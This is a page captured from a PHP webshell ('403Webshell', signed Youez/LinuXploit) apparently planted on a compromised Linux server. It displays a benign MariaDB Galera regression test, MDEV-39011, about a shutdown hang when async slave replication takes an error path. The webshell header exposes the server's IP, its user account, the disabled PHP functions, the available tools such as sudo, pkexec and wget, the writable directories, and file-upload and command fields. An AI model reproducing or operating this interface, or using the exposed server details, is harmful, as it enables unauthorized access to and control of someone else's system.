403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/galera/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/galera/t/MDEV-39011.test
#
# MDEV-39011: The node running async slave replication hangs in shutdown.
# The problem was in a leaked THD_count on the error path when
# wsrep_restart_slave is set.
#

--source include/galera_cluster.inc
--source include/have_innodb.inc
--source include/have_debug.inc
--source include/have_debug_sync.inc

--let $node_1=node_1
--let $node_2=node_2
--source include/auto_increment_offset_save.inc

# node 3 is a native MariaDB server operating as async replication master
--connect node_3, 127.0.0.1, root, , test, $NODE_MYPORT_3
--connection node_3
RESET MASTER;

# nodes 1 and 2 form a Galera cluster, node 2 operates as a slave for the
# native MariaDB master in node 3
--connection node_2
--disable_query_log
--eval CHANGE MASTER TO MASTER_HOST='127.0.0.1', MASTER_USER='root', MASTER_PORT=$NODE_MYPORT_3;
--enable_query_log

SET GLOBAL DEBUG_DBUG = "+d,delay_sql_thread_after_release_run_lock";
START SLAVE;
# Wait for the async slave thread to get started
SET DEBUG_SYNC = "now WAIT_FOR sql_thread_run_lock_released";
# Simulate a node dropped error for Wsrep to go to the restart point
SET GLOBAL DEBUG_DBUG = "+d,wsrep_async_slave_node_dropped_error";
SET DEBUG_SYNC = "now SIGNAL sql_thread_continue";
# Now wait again as the execution should follow the error path and repeat
SET DEBUG_SYNC = "now WAIT_FOR sql_thread_run_lock_released";
# Don't follow the error path anymore
SET GLOBAL DEBUG_DBUG = "-d,wsrep_async_slave_node_dropped_error";
SET DEBUG_SYNC = "now SIGNAL sql_thread_continue";

# Cleanup before restart
SET DEBUG_SYNC = "RESET";
SET GLOBAL DEBUG_DBUG = "";
STOP SLAVE;
RESET SLAVE;

# Now try to restart the node: it should not hang in a shutdown
--source include/restart_mysqld.inc

--connection node_3
RESET MASTER;
--disconnect node_3

--source include/auto_increment_offset_restore.inc

Youez - 2016 - github.com/yon3zu
LinuXploit